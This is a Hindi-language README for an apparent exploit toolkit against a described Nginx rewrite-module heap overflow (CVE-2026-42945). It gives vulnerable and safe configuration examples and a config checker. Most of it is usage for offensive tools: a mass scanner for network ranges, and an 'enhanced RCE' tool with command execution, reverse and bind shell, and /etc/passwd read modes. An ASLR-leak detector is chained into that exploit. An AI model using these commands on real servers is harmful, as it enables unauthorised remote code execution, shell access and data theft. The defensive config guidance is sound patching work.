
CVE-2026-42945 Nginx Rift
CVE-2026-42945 (Nginx Rift) के लिए एक व्यापक प्रूफ-ऑफ-कॉन्सेप्ट टूलकिट, जो Nginx के ngx_http_rewrite_module में एक गंभीर हीप बफर ओवरफ्लो भेद्यता है।
| फ़ील्ड | विवरण |
|---|---|
| CVE ID | CVE-2026-42945 |
| नाम | Nginx Rift |
| प्रकार | हीप बफर ओवरफ्लो |
| घटक | ngx_http_rewrite_module |
| गंभीरता | गंभीर (CVSS 9.2) |
| प्रभावित | Nginx 0.6.27 - 1.30.0 |
| पैच किया गया | Nginx 1.30.1 / 1.31.0 |
रीराइट नियमों को प्रोसेस करते समय दो आंतरिक पासों के बीच आकार की गलत गणना के कारण यह भेद्यता मौजूद है। यदि कॉन्फ़िगरेशन में निम्नलिखित का उपयोग किया जाता है:
$1, $2, आदि)? के साथ संयुक्तNginx पहले पास के दौरान आवश्यक बफर आकार की गलत गणना करता है और दूसरे पास के दौरान आवंटित हीप बफर से परे लिखता है।
server {
# भेद्य: अनाम कैप्चर ($1) + प्रतिस्थापन में '?'
location /api/ {
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
}
}
server {
# सुरक्षित: नामित कैप्चर (?P<path>) $1 को बदलता है
location /api/ {
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
}
}
nginx_rift_poc.py - कोर PoC टूलएकल-लक्ष्य भेद्यता स्कैनर और शोषण उपकरण।
विशेषताएँ:
Server हेडर से Nginx संस्करण का पता लगाएंउपयोग:
# संस्करण का पता लगाएं और भेद्यता का परीक्षण करें
python nginx_rift_poc.py -t target.example.com
# कस्टम पेलोड के साथ परीक्षण
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"
# HTTPS लक्ष्य
python nginx_rift_poc.py -t target.example.com --ssl -p 443
# भेद्य परीक्षण कॉन्फ़िगरेशन उत्पन्न करें
python nginx_rift_poc.py --gen-vuln-config > vuln.conf
# सुरक्षित (पैच किया गया) कॉन्फ़िगरेशन उत्पन्न करें
python nginx_rift_poc.py --gen-safe-config > safe.conf
nginx_rift_scanner.py - सामूहिक स्कैनरएक साथ कई लक्ष्यों के परीक्षण के लिए बैच स्कैनर।
विशेषताएँ:
उपयोग:
# लक्ष्य फ़ाइल से स्कैन करें (प्रारूप: प्रति पंक्ति host:port)
python nginx_rift_scanner.py -f targets.txt -o results.json
# एकल लक्ष्य स्कैन करें
python nginx_rift_scanner.py -t example.com -p 443 --ssl
# नेटवर्क रेंज स्कैन करें
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080
# हाई-स्पीड स्कैन
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json
लक्ष्य फ़ाइल प्रारूप:
# टिप्पणियाँ # से शुरू होती हैं
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080
config_checker.py - कॉन्फ़िगरेशन विश्लेषकभेद्य रीराइट पैटर्न के लिए स्थानीय Nginx कॉन्फ़िगरेशन फ़ाइलों को स्कैन करें।
विशेषताएँ:
nginx.conf पार्स करें और include निर्देशों का अनुसरण करें? के साथ अनाम कैप्चर का पता लगाएंउपयोग:
# एकल फ़ाइल स्कैन करें
python config_checker.py /etc/nginx/nginx.conf
# डायरेक्टरी को पुनरावर्ती रूप से स्कैन करें
python config_checker.py -d /etc/nginx/conf.d/
# भेद्य पैटर्न को ऑटो-फिक्स करें (.bak बैकअप बनाता है)
python config_checker.py --fix /etc/nginx/nginx.conf
# सामान्य Nginx पथों का स्वचालित पता लगाएं
python config_checker.py
enhanced_poc.py - उन्नत RCE PoCdepthfirst के आधिकारिक शोध पर आधारित उन्नत शोषण उपकरण, जो एकाधिक रीराइट पैटर्न और शोषण मोड का समर्थन करता है।
विशेषताएँ:
/api/, /redirect/, /user/, आदि) का स्वचालित पता लगाएं+, &, =, %) के लिए समर्थनcmd / shell / bind / readngx_pool_cleanup_s के साथ डायनामिक स्प्रे बॉडी निर्माणउपयोग:
# पैटर्न और संस्करण का स्वचालित पता लगाएं
python enhanced_poc.py -t target.example.com --detect
# कमांड निष्पादित करें (ASLR बंद)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"
# रिवर्स शेल
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444
# बाइंड शेल
python enhanced_poc.py -t target.example.com --bind --listen-port 5555
# रिमोट फ़ाइल पढ़ें
python enhanced_poc.py -t target.example.com --read /etc/passwd
# कस्टम हीप बेस (ASLR-बंद लक्ष्यों के लिए)
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000
# ओवरफ्लो ट्रिगर के रूप में & का उपयोग करें
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"
शोषण मोड विवरण:
| मोड | विवरण | आउटपुट |
|---|---|---|
cmd | एकल शेल कमांड निष्पादित करें | लक्ष्य पर कमांड आउटपुट |
shell | रिवर्स शेल उत्पन्न करें | --listen-ip:listen-port पर वापस कनेक्ट होता है |
bind | लक्ष्य पर बाइंड शेल उत्पन्न करें | लक्ष्य पर --listen-port पर सुनें |
read | लक्ष्य से फ़ाइल पढ़ें | सामग्री /tmp/nginx_rift_read में लिखी गई |
पता कॉन्फ़िगरेशन (केवल ASLR-बंद):
--heap-base: लक्ष्य हीप बेस (जैसे, 0x555555559000)--libc-base: libc बेस पता (जैसे, 0x7ffff77ba000)--system-addr: प्रत्यक्ष system() पता (libc-base को ओवरराइड करता है)aslr_leak_detector.py - ASLR लीक डिटेक्टरASLR सुरक्षा को बायपास करने वाली सूचना लीक का पता लगाने के लिए व्यापक स्कैनर।
विशेषताएँ:
/nginx_status, /actuator/*, आदि)enhanced_poc.py के साथ सीधा एकीकरणउपयोग:
# एकल लक्ष्य स्कैन करें
python aslr_leak_detector.py -t target.example.com
# SSL के साथ स्कैन करें
python aslr_leak_detector.py -t target.example.com -p 443 --ssl
# फ़ाइल से स्कैन करें, रिपोर्ट सहेजें
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json
# नेटवर्क रेंज स्कैन करें
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443
# त्वरित स्कैन मोड
python aslr_leak_detector.py -t target.example.com --quick
उन्नत PoC के साथ एकीकरण:
# चरण 1: लीक का पता लगाएं
python aslr_leak_detector.py -t target.example.com -o leak.json
# चरण 2: शोषण के लिए लीक किए गए पतों का उपयोग करें
python enhanced_poc.py -t target.example.com \
--heap-base 0x555555559000 \
--libc-base 0x7ffff77ba000 \
--cmd "id"
PoC उपकरण इन संकेतकों के माध्यम से भेद्यता की पहचान करता है:
| संकेतक | विवरण |
|---|---|
| कनेक्शन ड्रॉप किया गया | लक्ष्य अप्रत्याशित रूप से कनेक्शन बंद करता है (वर्कर क्रैश) |
| गेटवे त्रुटियाँ | HTTP 502/503/504 प्रतिक्रियाएँ (वर्कर प्रक्रिया मृत) |
| धीमी प्रतिक्रियाएँ | प्रतिक्रिया समय में महत्वपूर्ण वृद्धि (क्रैश रिकवरी) |
| खाली प्रतिक्रियाएँ | बेसलाइन की तुलना में प्रतिक्रिया बॉडी गायब हो जाती है |
| संस्करण मिलान | पता लगाया गया Nginx संस्करण भेद्य सीमा में है |
कोई बाहरी निर्भरता आवश्यक नहीं है। केवल Python मानक पुस्तकालय का उपयोग करता है।